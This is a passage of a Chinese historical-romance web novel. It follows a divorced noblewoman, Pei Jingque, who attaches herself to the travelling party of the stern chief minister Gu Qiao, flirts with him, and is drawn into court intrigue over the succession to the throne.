顾峤的眸光冷了下来,已过而立之年的他还从来没有遇到这样无规无矩的女子,然而所有的情绪波动都只是短短的一瞬就消失了,他再度恢复了古井无波的神色。 喜怒不形于色,好恶不言于表,悲欢不溢于面,岁月留给他的,便是轻易不再为外物所动。 裴惊鹊这点小把戏在他眼里根本不值一提,他淡淡地出声唤了人,让他们重新安排一间房舍。 当匡梁敏锐地发觉房间里面不对劲时,榻上的女子眼皮动了动不再装睡,淡定自若地起身,笑着道了一句世叔。 “今夜惊鹊和世叔一起相谈甚欢,倒是误了时辰打扰了世叔休息,床榻上的被褥又给世叔您弄乱了,惊鹊心中愧疚难名。”她看着颇为懊恼,想了想决定明日一早服侍在世叔身旁赔罪,目光真诚,“世叔可一定要等着我。” 话罢,她眉眼飞起,没事人一样朝着顾峤行礼告退,临走前对着匡梁友好地笑了一下呢。 匡梁的整个人都难以置信地僵住了,裴氏女竟然大摇大摆地从五爷的房中出来,而且她口中的那些暧昧的话容不得他不多想…… 最最可怕的是,五爷没有出声反驳,仅仅是抬了抬眼皮! 这,这……他早说裴氏女不是个善茬,听说她年幼入宫陪裴皇后的时候就连颇得圣宠的赵王殿下都敢打。 匡梁失神的时候,顾峤又撤下了更换房舍的命令,驿站的房舍本就不多。 “派个人进来,将床褥收拾干净。” 随意瞥了一眼,他又开口吩咐。 顾峤喜洁,被裴惊鹊弄的一塌糊涂的床榻他自然不会再睡上去。 然而听在匡梁的耳中,话中的含义就完全变了个样。 他心神大震,恍惚应了一声是,之后就更不可思议地看到了自家五爷手中拿起一件女子样式的斗篷。 *** 一回到自己的房间里面,裴惊鹊立刻垮下了一张小脸,眼中漾着的笑意也消失了。 她抬头,看到的是侍女们欲言又止的神色。 裴惊鹊一头顺滑的乌发有些凌乱,脸颊微红,唇瓣处布着淡淡的痕迹,不仅出门披着的斗篷不见踪影,衣襟也不大整齐……妩媚动人的模样可不像是出去透了透气。 “娘子,您这是怎么了?”青萍胆子大,听着她的长吁短叹声,主动问出了口。 而翡香神色严肃,直接就问是否有人敢对娘子不敬。 裴惊鹊对着两个贴身的心腹摆摆手,回答的很诚实,不是有人对她不敬而是她明明白白地对一位长辈不敬,“好在世叔宽宏大量原谅了我的过错,明日一早你们定要在天亮之前就唤醒我,我得去和世叔赔罪。” 既然顾世叔拒绝照应她,她只好死皮赖脸地跟紧了他的车队。 “娘子的世叔?”两位侍女都愣住了,临伯早就弄清楚了驿站里面只有驿长和一些驿卒住,没听说有别的……莫非娘子是说那支商队的人? “嘘。”裴惊鹊神秘一笑,冲着她们举起了一根手指头让她们噤声。 有时候知道的越多反而不妙,这个道理她很早之前就明白了。 “都怪我生了一副玲珑剔透的心肝……表兄……想不管也不行……同行…同房……床…”然而侍女不再出声了,她自己又嘟囔个不停,到最后笑起来花枝乱颤。 褪去衣裙,女子浸泡在了雾气弥漫的热水中,一张绝色的容颜若隐若现。 “也不知道年纪大了还当不当用。”她随意捻了一片花瓣放在唇中,眼眸若有所思。 因为驿站里面住了贵人,次日天蒙蒙亮的时候驿长就起身了,连带 7. 第七章 《二嫁古板老男人》全本免费阅读 岂止是不错,她第一次觉都睡不好费心费力地讨好一个人呢。 裴惊鹊眨巴眨巴了眼,悄悄地往前倾了身体,眸中洋溢着欢喜,“能得到世叔的一句喜欢,惊鹊开心地紧,今后惊鹊愿意日日为世叔您泡这一壶云顶茶。” 所以看在她这么敬重长辈的份儿上,世叔是不是应该照应一下她这位世侄女? 女子忽然的靠近带来了一股幽幽的香气,顾峤的脑海中浮现出牡丹雍容绽放的场景,冷不丁地看了她一眼,让她老实坐回去。 他的灰眸平静地看过来时,裴惊鹊本以为自己会受到严厉地训斥或者冰冷地质问,然而他在抿了一口茶水后却说。 “仅为了返京同行,不需你自折身段如此,昔日你和明曜退婚倒是有理有据。说吧,你究竟所求什么。” 听到他的话后,女子愣了一下,长长的眼睫毛微微向下垂,心头忽然竟生出一种感觉,其实持身肃正也很好啊。 她真的以为自己会受到训斥,应对的话都已经准备好了。 原来不是啊,而且还言她那次“任性妄为”的退婚是有理有据。 这一瞬间,裴惊鹊对面前威势颇重又冷淡寡情的男人多了几分真心的好感。 “唉,竟被世叔您看出来了。”她虽然还是在笑,但眼神变得清澈起来,眼尾的媚意悄无声息地也褪去了大半。 “世叔身为首辅,是天子的肱骨之臣,定然知道近日来太子表兄的处境不大妥当。我也是因此被夫家厌弃……无奈选择和离。周家不算发达亦敢如此,这一路上不知还有多少牛蛇鬼神,说不得坏心一起就要致我于死地……”裴惊鹊终于说了实话,莹白的小脸漫上了些许苦恼,那些贼人她目前确实对付不了。 否则的话,她也不会厚着脸皮一定要赖上前前未婚夫的亲叔父。 “世叔,我不想死,也不愿意跟着我的人白白丢了性命,离开京城数年,我们都想回去看一眼。”她越说越坦诚,一只小手慢慢地抓住了顾峤的袖子。 抓的不怎么紧,可能是怕他反感,咻一下又很快退回去了。 顾峤垂眸,漠然地看着自己被抓出一道痕迹的衣袖,问她,想要致她于死地的人是谁。 在他的眼里,除了一层太子表妹的身份,裴氏女的身上没有多余的价值。 裴惊鹊难得有些不好意思,她在期待对方认同的时候总喜欢抓些东西,不是故意为之的。 “那可多了去了,有不喜欢我行事的,有厌恶我说话太直白的,还有嫉妒我长的好看的,啊,还有早年就同我结仇的。顾世叔,您也知道的,京城中看我不顺眼的人很多,其中说不定还包括您的长兄长嫂呢。” 顾明曜的亲生父母,当年看她的目光都带着冰碴子。 名声烂到这种地步,女子还是个没事人不怎么在意,甚至还有些隐晦地自豪,啧啧,毕竟能让那么多人恨之欲死的人也只有她裴惊鹊了。 “我所求不多,只想借一借顾世叔您的势,平平安安回到京城。看在我为顾世叔找回玉佩又费心思给世叔泡茶的份儿上,您就让我跟着,好不好嘛?” 她又忍不住地往男人的跟前凑了凑,带着悠长的牡丹花香。 顾峤忽然掀了眼皮看她,她弯着唇,又保证一路上不会打扰到他,日日为他泡茶的承诺也不会变。 “世叔的膳食简陋,而我的车队中光名厨就有三个,苏扬菜、洛中菜还有北菜都做的极好,世叔想吃什么都可以让他们准备。” …… “离开这处驿站还有两刻钟。”摩挲着茶盏的瓷壁,顾峤淡淡说道。 仅这一句话,裴惊鹊就明白他松了口,一股暖流从心底汩汩涌出,整个人又开心又畅快,小脸也肉眼可见地变得更加明媚。 “世叔是惊鹊生平所见最是通情达理的长辈了。” 她用手托着腮,笑眼弯弯,眸中像是盈满了星光。 顾峤心下一动,又平实地道让她日后不得妄言。 裴惊鹊正是心满意足的时候,哪里会反驳呢?一口就应下,故意大声地感谢世叔昨夜教了她一些做人的道理。 为人立世第一就是清白! 她和世叔之间怎么会有超乎寻常的关系,若是有人敢在外说,那一定是彻头彻尾的污蔑,她反正是不会放过那个人。 顾峤面无表情,没再搭理她。 *** 约莫两刻钟后,长长的车队重新从驿站出发,依旧是乌木马车在前,金红色华盖马车在后。 唯一不同的是,这一次首尾都有喋血多年的亲卫保护。 对此,青萍翡香等享惯了富贵和平的人可能没什么感觉,但裴家车队中的临伯曾经随同过裴惊鹊的祖父左右,已经察觉到了端倪。 他暗暗屏紧呼吸,交代底下的人要客客气气,不能生事。 对此裴惊鹊一无所知,本意上她还是倾向瞒着自家人顾峤的身份。 一来她曾经和顾家闹的不愉快,二来她的心中还有一道别的想法…… “这裴氏女果真有能耐,竟然能说动五爷。”邬庭打马行在车队的最后,冷峻的脸色中也能看出几分惊讶。 五爷是什么性子他们这些跟随多年的人最清楚,莫说一个太子的表妹,就算今日太子亲至,五爷都不一定会让步,不仅允许人跟着还让亲卫也护在其左右。 他的一边正是匡梁,恍惚不定的心神还没有恢复。 不能将昨夜裴氏女光明正大从五爷房中出来的事说出来,他自己也憋得慌,沉默了半晌,只回道,“兴许五爷觉得即便拒绝,裴氏女也会主动跟着追上来。” “抑或,京城那边,裴氏女终究有两分用处。” 他隐晦地提到太子赵王争位,邬庭嗯了一声收了话头。 不过一个有些妄为的女子,他们的路,五爷的决定,将来的打算不会有任何改变。 *** 因为早晨采集露水起身太早,裴惊鹊在坐上马车后还是一如既往地没过多久就睡熟了。 若没有人打扰,她可以睡到天昏地老。 然而这次才过了一个半时辰,青萍就轻声将人唤醒了,说是前方的车马忽然停了下来,而一名估摸是商队主人随从身份的男子请自家娘子过去。 青萍口中的男子正是匡梁。 裴惊鹊睡眼朦胧地打了个哈欠,连问上匡梁一句都没有就姿态优美地下了马车,跟着他往前方而去。 倒是将匡梁弄的欲言又止,这裴氏女就不怕有什么危险? 事实上,裴惊鹊是真的连个过问的念头都没有,不知为何,她在一眼看到顾峤的时候虽然有些心悸难以呼吸,但本能地觉得这个男人十分可靠。 又加上那一层所谓长辈的身份,她笃定顾峤不会对她做任何失礼有悖于伦常的事。 女子模样慵懒,步履袅袅,几十米的距离她走过去,明明脚下是一条城外的山路,却仿若 8. 第八章 《二嫁古板老男人》全本免费阅读 她以为她的目光无人发现,实际上恰好被顾峤抓了个正着。 “你在看什么?”男人的语气平淡,问她。 裴惊鹊心头一紧,她上一刻才承诺过与世叔相处的时候敬重有加,现在就被人抓到不老实瞥世叔的腰腹,坏了,万一被世叔以为自己在敷衍他,她不会被赶下马车吧? 她左顾右盼,忽然灵机一动,手指乖巧地点了点一个地方,表情颇为不好意思,“世叔,我是看到了您的那块麒麟玉佩,它果然与世叔最配,只是我知道一种更具风姿的系法,一时忍不住想帮一帮世叔。” 年纪大的长辈哪里知道,单单一块玉佩,系法也各式各样呢? “……不必。”不出裴惊鹊的意料,他对怎么系玉佩更好看一点都不关心,直截了当地拒绝。 裴惊鹊深觉可惜,偷偷地又瞥了一眼,小声嘀咕,“若是用了我的系法,玉佩上一次可能就不会丢失了……” 她一片好心还望世叔明鉴,才不是那股子任意妄为的念头变得强烈起来,驱使她冒险去做危险的举动。 闻言,顾峤的长眉微动,似是也想到了玉佩遗失带给他的麻烦。 “上前来,不可耗费时间。”他看着她,将普普通通的结打开,意思不言而喻。 裴惊鹊当即喜笑颜开,为世叔的信任所感动,窸窸窣窣地靠近,手指重新勾起了那块曾经沾染了她身上香气的玉佩。 “世叔您看好了,这个系法是这样的,先穿过去……再绕一圈……换个方向再穿进去缝隙……”女子跪坐在他的腿前,玉白的细指在他的腰间动来动去,轻盈小心,可见她的心思真的十分纯洁,仅仅不愿玉佩再次遗失罢了。 顾峤平静地阖上了灰眸,没有看她,一个意欲讨好的小辈而已,她无论再做什么都是为了能保有一条性命回到京城,而在顾家,他的侄儿侄女们争先恐后地争取他的好感,做出的事情也不遑多让。 他很习惯,便也就不怎么在意。 “最后再打一个圈,这样就好了……颇似竹结,是我自己想出来的,世叔喜欢不喜欢?”女子还在邀功,小嘴絮絮叨叨个不停。 顾峤觉得她的话有些多,谨言少语是世家大族都知的道理,显然她并未学到或者根本未放在心上。 “既然系好了,退到一边,莫要再出声。”他睁开眼睛,目光落在她微垂的细白颈子上。 “哦,好的。”裴惊鹊很听话,当即就抿住了唇角,准备起身移到马车的一个角落里面。 然而不知是她跪坐的太久腿有些酸软,还是马车内光线昏暗难以辨清一切,起身的瞬间,女子没有站稳,一时不慎竟然朝着静坐的顾世叔倒去。 “别……不……”裴惊鹊瞪大了眼睛,对自己手脚的不受控制很是惊慌,她可不能被世叔误会! 暗暗使力,她愣是在最后倒下之前抓住了一片东西,撑住了身体。 对此,裴惊鹊劫后余生般长松了一口气,可是接下来她就发现自己手里死死抓的正是顾世叔的衣袍,还刚好是在腰腹的位置。 甚至,她的指尖隔着几层衣袍能感受到硬邦邦块垒分明的形状…… 裴惊鹊僵住了,耳尖红的能滴血,愣愣地保持着半摔倒的姿态,连呼吸都不敢大声。 唯一躁动大声的竟然是她的心跳,扑通扑通一下跳的可激烈了。 她面上无措,心里却在偷笑,想着自己的猜测果然没错,原来顾世叔的腰腹果真不逊于武官,怪不得很有力气呢。 …… 昏暗中,还是那只大手,扣住了她有些颤抖的手腕,轻而易举扯着她放到了马车的另外一边。 电光火石间,裴惊鹊又想到了那股令她窒息的感觉,她真正地老实下来,连眼睫毛都不敢眨。 顾峤看也不看她,只沉声说了一句,“毛毛躁躁,静心。” 他将裴惊鹊大胆越界的行为归于性子毛躁,还要她静下心来,做一个得体的大家女君。 “惊鹊知道了。”面对长辈的教导,世侄女乖顺地应下,开始学着他的仪态静坐。 马车恢复了平静,一场本有些暧昧的试探也悄悄地消失在无形之中。 匡梁引着河东郡丞过来又恭敬打开马车车门的时候,随意瞥到角落那个端庄的纤细身影,他心中还有些纳罕。 不仔细看的话,裴氏女此时倒真像是顾家那些知礼的小娘子在五爷面前的模样。 尊敬守规矩,安静地跪坐在长辈的身后,任由所有人打量都保持着细颈微垂的姿态。 “五爷,周郡丞已经带到。” 匡梁开口提到周晋安,顾峤身侧的女子依旧纹丝不动,脸上的神色亦没有任何改变。 她没有抬头,也没有主动出声让周晋安发现她。 顾峤的眼底深处闪过一抹满意,既然已经和离,周晋安对她而言就只是外男,身为长辈哪怕仅仅是一个关系浅薄的世叔,他也不愿意看到女子反应异常失了体统与矜持。 如此不卑不亢保持着距离,仿若两人根本不相识,刚刚好。 他命周晋安上前来,淡淡问他追赶上来所为何事。 周晋安穿着一身玄青色的官袍,恭谨地躬身行礼,与持重的顾首辅比起来,年纪尚轻的他身上的锐气几乎显化成实质。 虽然这股锐气被很好地收敛了起来,可是在场的人精谁又看不出来呢。 虽然不及顾首辅连中三元又一路做到一人之下万人之上的当朝首辅,但周晋安也不差了,出身一个不能给他任何助力的寒门,凭借真才实学考中探花,又在不到而立的年纪成为一郡之丞。 他眉眼中的意气风发足以说明,现在的他自信满满,未来不远的朝堂必定有他周晋安的一席之地。 或者再往后,他还能取代顾峤成为魏家天下一个新的传奇。 “回禀顾相,下官求见是有要事请您定夺。”周晋安第一眼并未注意到跪坐在马车角落的女子,当然,即便是注意到了他也不会细看,因为在他看来,那是极为失礼的行为。 果然还是你啊,周晋安。 这一瞬间,裴惊鹊扯了扯嘴角忽然想笑,可是她硬生生地忍住了。 她不傻,知道一个道理的,小不忍则乱大谋呢,要想知道的越多,她的嘴巴就得闭的更紧,最好一个音节都不能发出来。 “说。”顾峤没有询问面前的年轻官员他们从何知晓他的行踪,事实上他从雍州返回的途中大大小小的郡县都有所行动。 “春祭礼在即,邓郡守斗胆差下官问一问顾相的意见。往年的春祭礼都是邓郡守亲自前往,可是今年,郡守大人身体不适,更有些拿不定主意。”周晋安提到了迫在眉睫的春祭礼,马车内的男子蓦然发出了一声轻笑。 那笑声淡淡的,却成功让周晋安和……裴惊鹊的心都提了起来。 历年的春祭礼都由储君太子主持,可是今年太子犯错,陛下大怒之下将他幽禁在宫中,春祭礼的主持人选也换成了一直很得圣宠的赵王殿下。 这下情况就很微妙了,底下的朝臣们纷纷嗅到了不同寻常的意味,会不会陛下要改立赵王殿下为储君了? 然而储君人选关乎朝纲,是不容一分疏忽的大 9. 第九章 《二嫁古板老男人》全本免费阅读 嫡长子继承制是皇朝和世家延续下去的根本之一,不可动摇。 这是裴惊鹊通过一则、民间趣事想要告诉顾峤的话,太子绝不可废。 太子虽然犯错,但远没有到昏庸暴虐的地步,赵王得圣宠不假,可他也并未做出惠及天下百姓的贤明之事。 即便抛开嫡出庶出的身份,这些年,也是太子做得更多更好。 当然还有一点是裴惊鹊深深在意的,当今天子的皇位折进去了裴惊鹊的三位亲叔伯……还有祖父的一条命。 裴氏为此元气大伤,地位远不如从前,最后获利的人却是一个没有流着裴家血脉的赵王。更何况赵王的母族吉昌伯府当初并未使出一分力,反而借去了裴氏不少东风。 裴惊鹊绝对不会同意这种结果的出现。今日她面前的人就算是天子,她亦会说出同样的话。 眼下真的改立赵王为太子的话,裴惊鹊会不惜一切代价将所有燃成灰烬。反正赵王若是成为下一任的皇帝,也必定不会放过裴氏和她。 她还在笑,可眼底已经漫上几分疯狂,周晋安死死盯着她的一举一动,内心深处不知为何竟然生出无尽的惶恐来。 匡梁从头到尾静立在一旁,看到这一幕差点觉得自己的眼睛不够用。 河东府的周郡丞目光恨不得吃了裴氏女,而裴氏女关注的却不是自己的前夫,而是渴望又痴迷地望着他的主子…… 至于五爷,匡梁恭敬地抬眸看去,发现……顾峤神色寡淡,看向的人竟然是周郡丞。 “不过邓郡守既然身体不适,按照规矩,周大人身为河东郡丞,理应代替邓郡守前往京城参加春祭礼。离春祭礼时日无多,周大人早做准备。” 他没有回答裴惊鹊的问题,开口是让周晋安代替邓郡守参加京城赵王主持的春祭礼。 闻言,裴惊鹊绷紧的心弦悄悄地松开了一些,终于转头看向几日不见的前夫周晋安。 “世叔说的有礼,邓郡守的身体不舒服,参加春祭礼万一出了什么事那可如何是好啊?倒不如晋安你前去,反正根子上就错了位,晋安你的身份恰好合适。”她眉稍挂着浅淡的笑意,竟是毫不避讳地讽刺起今年的春祭礼。 赵王的身份比太子低一层,那么到场参加的官员也要比之前的低一个品级。这样才不算是倒反天罡。 裴惊鹊高兴的时候,嗓音不自觉就掺了甜蜜进去,听在人的耳中娇娇软软很是动听。 然而在场的人没有一个因此露出愉悦的神色。 匡梁皱眉,仍然看不惯她的毫无忌惮,虽然是在外头,但也不能大胆到妄议春祭礼。这话有朝一日传到京城,又有人要对主子喋喋不休。 周晋安则是无法接受她这么快就离开他……继而同另一个男人坐在同一辆马车上,虽然他能够看出他们之间的确没有多余的关联。 “你回京怎么不派人同我说一声?”周晋安想要质问,却恍惚间发现自己早已经失去了立场。 “啊?大概是忘了。”裴惊鹊想了一下,答的很随意,她也着实想不到别的理由了。 事实上,上一世她选择离开河东郡城也没和周晋安知会一声,分道扬镳的男女各自飞开才最正常呢。 听到她无所谓的话,周晋安的脸色肉眼可见地变得阴沉,他从来没想过有朝一日他也会成为她的不在乎。 连一句知会的话都不值得的人。 裴惊鹊若是知道他心里的想法可要大诉冤屈的,自从他们各自在和离书上填上自己的名字,周晋安又是纳妾又是逢迎上官也没关注过她的一举一动,结果她走了不理睬他了,他又一副被辜负的神色出现在她的面前。 明明以前周晋安也不这样的啊,裴惊鹊左想右想,还是得出了一个同样的结论,为官几年,周晋安彻底变了,已经不是从前那个愿意温柔地哄她,在她耳边说甜言蜜语的人了。 不过人总是会变的,对于这个结果,她有些遗憾可也能够接受。 然而现在隐隐接受不了的人似乎是周晋安? 裴惊鹊觉得莫名其妙,故意扭过脑袋,看向了与周晋安截然相反的方向,这样她的态度表达的足够明确吧。 他们算是好聚,但实际上并不是好散。哼,以后要不要和周晋安说话全看她心情,她又不是没有傲气。 裴惊鹊扭过头去就是不想和他说一个字。 然而她的举动深深刺痛了周晋安眼睛的同时还取悦了另外一个人的心。 顾峤认为女子贵在自重,和离后的世侄女与前夫划清界限,他理应表示嘉许。 “周大人若无旁事,那就京城再见。”他对周晋安已经失了兴趣与耐心,略一抬眉,便是送客之意。 周晋安心神一凝,立刻将所有的注意力又收了回来,他心里清楚顾相能花短短十年的时间从一介举子做到内阁首辅,脾性远比对外表现出来的随和从容要可怕的多。 他当着顾相的面失态已然犯了大忌。 “下官先前不知裴氏返京,在此骤然见到,因此失礼,还请顾相见谅。” 周晋安的头颅比之前垂的更低,旁人看不清他脸上的神色。 “既已和离,你该称一句裴娘子。况且,我记得数年前陛下追忆裴老国公时封了她一个县主的爵位,你也可以尊称裴县主,而不是、裴氏。” 顾峤握住腰间的玉佩,罕见地对着周晋安用了相当严厉的语气,曾经他们是夫妻时他可以那样称呼她,但和离之后,男女之间的分别必须要体现出来。 他难道会称呼一个素不相识的世家女娘为崔氏、王氏、李氏?而不是更体面的崔娘子、王娘子、李娘子? “……是啊,世叔不说我都忘了我还有一个县主的名头呢。”裴惊鹊扭回了头,表情十分地惊讶夸张,眼睛瞪得圆溜溜。 自从太子表兄年纪越来越长,她这个县主的名头也变得越来越淡,后来就没人提起了,猛然一听她自己都反应了好一会儿呢。 不过,顾世叔居然记得这么久远的事,该说不说,怪不得人家能成为位高权重的首辅。 “过去只要存在,总会有人记得。”顾峤淡淡说了一句话,就直接吩咐匡梁继续赶路。 马车的车门重新被合上,周晋安的头颅并未扬起。 裴惊鹊透过车窗好奇地望着周围树木上停留的小鸟雀,一直到正空的太阳变得橘红都没有回头看上一眼。 她也好想变成那些鸟雀啊,每天除了吃食便是叽叽喳喳地唱歌,可以飞的很远,不会被凡尘束缚住翅膀。 永远都自在快乐,不会知道愁苦和伤心是什么滋味。 可惜啊,她是一个人。 人有七情六欲,是滚滚红尘中注定无法脱离的一部分。 裴惊鹊轻轻叹了一口气,牙齿咬着侍女送来的肉脯,觉得干巴巴的滋味还是比不上搭锅现煮的膳食。 “世叔,我们真的不能原地歇一歇吗?也好吃些热乎乎的汤食。您老人家年纪渐长,身体可经不起这么折腾。”她苦口婆心地劝说马车中除她之外的另一个人,总是不停下,她又怎么能够回到自己的华盖马车里呢? 裴惊鹊想舒舒服服地躺着了,为了有世侄女的样子,她已经老老实实跪坐了小半天时间,累,真的好累啊。 “出了城,驿站的距离只会越来越远。天黑之前要赶到下一个驿站,今天一天都不能歇。你若坐不住,也可以停下来。” 10. 第十章 《二嫁古板老男人》全本免费阅读 周晋安在她的人生中算作什么呢?成婚三年曾经有过恩爱时候的夫君,还是逐渐在裴惊鹊心中淡化的一个影子? 这个答案也只有她一个人知道。 睡了几十里的路,裴惊鹊终于悠悠醒转。她睁开眼睛,伸了伸懒腰,哼唧几声,精神重新变得饱满昂扬起来。 车厢内,一盏靛青色陶灯静静燃烧,裴惊鹊发现她的“好世叔”已经不见人影,暗松了一口气。 顾首辅不在便好,也省的她露出尴尬的神色。 趁着人不在,裴惊鹊好奇地多打量了简洁明了的车厢几眼,然后才慢慢吞吞爬起身。 这时她还没有意识到自己手腕空空,原本在那里挂着的镯子消失不见了。 她安静地往之前顾峤坐过的位置挪了挪,随后目的明确地伸出手指头,偷偷摸摸勾出了一张盖着印章的信笺…… 裴惊鹊像做贼一样小心翼翼将信笺对准了陶灯,借着烛光,一个字一个字地将信笺上面的内容记了下来。 当读到平武中尉朱敬义私下差人前往河东郡的时候,她知道自己这个冒险的举动做对了。 朱敬义是宁妃的亲兄长,也是赵王魏晟的亲舅舅。他们往河东郡派来的说不定便是她上一世遇到致她于死地的那一拨贼人。 女子姿态优美地跪坐烛台一旁,脸上的神色晦暗不明。 平安回到京城的念头在她的心里又强烈了一分。 ……在没人发现之前,裴惊鹊将信笺重新折好放了回去,下一刻她从车窗中探出了脑袋。 以为自己会看到驿站的裴惊鹊一下愣住了。 目光所及的地方,火把熊熊燃烧将暗青色的夜空都照地极为明亮,护卫们牵着骏马在喂草,侍女们穿梭在篝火之间似是在烧水料理食物。 四周葱郁的树木花草全化作了他们背后灰灰暗暗的影子。 裴惊鹊看到了他们脸上平静中夹杂着欢快的神色,听到了一些人压着兴奋小声交谈的声音。 “娘子一定会喜欢这里的。”很难想象这道欣喜不已的笑声是从稳重的翡香口中发出的。 裴惊鹊带着几分迷茫下了马车,一眼就看到她的翡香立刻迎了上来,脸上的笑意还未淡去。 “娘子,厨娘做了鱼羹,现在刚刚好入口,奴婢先服侍您洗漱。”翡香手脚麻利地递过去一方被热水浸泡过的帕子。 裴惊鹊细细擦了擦脸还有双手,在脸颊被热水熏地红扑扑的时候,她终于眨巴着眼睫毛开了口问道,“这里是哪里?” “回娘子,这里是溪山山谷。”翡香答道这里距离下一个驿站有五十里路,他们来不及赶到驿站,而这个地方有水有林风景优美,正适合夜宿。 “溪山……我看到溪水了,是银色的!”翡香的语音刚落,裴惊鹊紧紧盯着不远处的粼粼波光,双手忽然扔掉帕子提起了裙摆。 月光下,她如同一只真正的雀鸟,张开羽翅,轻盈飞奔而去。 奔跑的过程中,裴惊鹊笑的很灿烂,她就像忘记了所有的不愉快,清脆又恣意的笑声传的很远。 脚上的鞋袜被她很快嫌弃地甩掉,她光着一双玉足直冲小溪踩进去,下一刻就被冰冰凉凉的溪水冻的尖叫一声。 所有人的目光被吸引而来,裴惊鹊恍若未觉,一个人一脚一个坑在浅浅的山溪中玩起了水花。 裴惊鹊只会想她踩进去的地方是最靠后的下游,碍不着别人取水的,既然如此,别人大惊小怪的目光又关她什么事呢。 溅起的水花打湿了她的裙摆,女子却兴致大起,在山溪中跳了起来,水花溅地越来越高,惊得几条好奇摆尾的小鱼匆匆游开,不再围观这个似乎兴奋到发疯的人类。 春日的夜晚很凉,山谷和溪水只会更凉,两名忠心的侍女看到她乐此不疲玩水的这一幕着急不已,就怕她受了风寒。 然而两人担心着,却又都默契地没有上前劝阻,娘子有时候很小孩子心性,越是劝阻她反而越不在意。 直到一个高大的人影乘着夜色出现在裴惊鹊的身后。 “是商队中的那位……大人。”青萍眼尖,率先发现了那个人的靠近,但她又不清楚这个连自家娘子都隐隐敬畏的人究竟是何等身份,脸上显出几分踌躇来。 “你我退后。”翡香皱了皱眉,突然想到了那个娘子独自出去透风的晚上,她拉着青萍往后退下。 忠心耿耿的侍女永远不会怀疑自家娘子说过的话,娘子神秘地令她们噤声便是不想让她们知道的太多。 知道的越多也就越危险。 *** 裴惊鹊玩的最开心的时候察觉到了自己背后有人靠近,她下意识地将来人当作了青萍或者翡香,随意挥了挥手,让她们暂时不要管她。 她的身体好着呢,顺顺利利活了二十多年了,区区一点冰凉的山溪水对她造成不了伤害。 一会儿烤一烤火喝些热乎乎的鱼羹就好了嘛。 然而她这么做了,身后的人影不仅没有远离反而又靠近了一些,裴惊鹊心知有异,慢慢垂下了眼眸。 倒映在银光上,是雅致到漠然的那张脸,灰色的眸子看她的时候一片漆黑。 不经意间与水面的眼睛对视,她的呼吸微顿,窒息的感觉再一次地弥漫了上来。 裴惊鹊停下了踩水坑的动作,身体微僵,然后就听到他启开薄唇同自己说,这里的溪水是从千里之外的雪山绵延而下,本该是极冰极寒的,然而汇聚在这里之时多了许多暖意。 “这水鸟畜颇爱饮之,你多踩一踩也无害处。”顾峤平静地望着月光下那对小巧玲珑的脚踝,身上给人的压迫感不轻反重。 虽然他口中说出的并非是阻 11. 第十一章 《二嫁古板老男人》全本免费阅读 裴惊鹊在试探,虽然有些意外,但她确实在感受到窒息的同时也隐隐捕捉到了一分纵容。 她当然心知肚明自己的很多举动和要求早就越过了界限,说破了天,顾峤是顾明曜的亲叔父,和她之间的联系仅限于此。 然而,她无论用名声“威胁”还是旁若无人地闯进他的房间,亦或是故意借他的身份威慑周晋安,他竟然都没有动怒,命人将她这个牵强附会的世侄女驱离。 他和顾明曜口中的叔父很不一样。 裴惊鹊忍不住跃跃欲试的心,期冀他会不会又一次默许她的举动,好奇他究竟是因为什么而容忍自己。 是太子表兄还有可能东山再起?不,不对,顾峤身为首辅,连天子的决定都敢置喙,太子表兄和赵王之争波及不到他的身上。 难道他因为她和顾家的那场退婚闹剧心中有愧,今时今日是要弥补她?裴惊鹊想了想,又否认了,算起来,他仅仅只提过顾明曜一次,至于退婚一事更是一个字都没说到过。 排除了这两点原因,裴惊鹊再想不到别的理由了,很是迷惑。她越是百思不得其解,面对顾峤时越是放肆,因为她想要探到他的底线,更想要知道他为什么纵容自己。 此时裴惊鹊搂着他的手臂笑,媚眼如丝,心情也极好。 无论什么缘由,被人纵容着总是让人开心的。无论脸皮厚还是薄,得寸进尺总是一个人的本能。 “世叔,我不是故意的~” 顾峤垂下灰眸,俯视抱着自己手臂软声解释的女子,轻而易举看透了她笑容背后的狡黠与期待,淡淡道,“嗯,玩水的时候腿软,方才你翻看信笺之时却是行正坐直。” “轰”一下,裴惊鹊的耳边炸开了一道雷,她自以为没被发现的偷看结果全被人收进了眼底。 也对,顾首辅坐的马车里面怎么可能只有一封信笺,或许一些朝政机密也在,能够留她一个人在里面,肯定是有人盯着! 意识到自己玩脱了,裴惊鹊悻悻地收回双手,站直了身体,垂下脑袋老实认错。 “信笺就放在那里,世叔,我以为您是放着让我看的,所以,所以就瞄了那么两眼。”勉强地解释一句,她又变得义愤填膺,将所有情绪都朝着信笺中的主人公而去,“世叔,这下您相信我说的话了吧。宁妃兄长派人到河东一定不怀好意,要么想杀我要么想对世叔您不利!” “未经确定的事不要妄加揣摩,免得陷入歧途。”对她的指控,顾峤的反应平平,在他看来,宁妃的娘家父兄都不过是碌碌无为的庸才,与他们对上是完全不需要的。 浪费时间精力而已。 “羹汤既然已经做好,去用膳。”他瞥月光下的女子一眼,眉峰微动。 高兴或者愤怒,每个人都会有的情绪在她的脸上会格外的鲜明,他摩挲着指腹,忽然想真实地触摸那种生动。 一如他方才感受到的柔嫩肌肤,内含玲珑玉骨的脚踝。 裴惊鹊的下颌蓦然被两根长指捏住,她惊讶地瞪圆眼睛,正欲开口询问,对上了一双深邃的眼眸。 灰眸之中明白地显露出了严肃的厉色。 “朝堂文书不可随意翻看,记住了吗?”他的手指用的力道微重,裴惊鹊感觉下颌处隐隐作痛,忙不迭地点头称是。 “下次肯定不会了,世叔的话我一直记着呢。”她目光诚恳,作乱的心思在一个严厉的眼神之下很识时务地收了回去。 “嗯。”顾峤淡淡应一声,松开了扼住她下颌的手指,主动走在了前面。 裴惊鹊亦步亦趋地跟在他的身后,时不时仰头看一眼他宽厚的背影,心情同样很奇妙,她偷看了要紧的信笺,竟然在他那里只得到了一声警告呀…… 两人走到已经摆好膳食的矮席前面,顾峤先行落座,裴惊鹊不等他开口挑了个离他最近的位置坐了下来。 匡梁等顾峤身边的人看到这一幕眼皮都不停跳动,心道裴氏女还真是锲而不舍,一直黏着他们家五爷。 当然,最让他们不能理解的是,五爷对此没有表现出不悦。 “宋大娘做的鱼羹最是美味,世叔您快尝一尝啊。”裴惊鹊的态度很殷勤,不仅主动为顾峤盛了一碗鱼羹,还贴心地将各类小菜都挟过去。 二十多年来,能享受到她这般服侍的人只有已经去世多年的裴老国公一人。 顾峤没有拒绝她的讨好,但同样没有和她说一个字。食不言寝不语,这是刻在他骨子里的东西。 然而,裴惊鹊哪里会管这个。 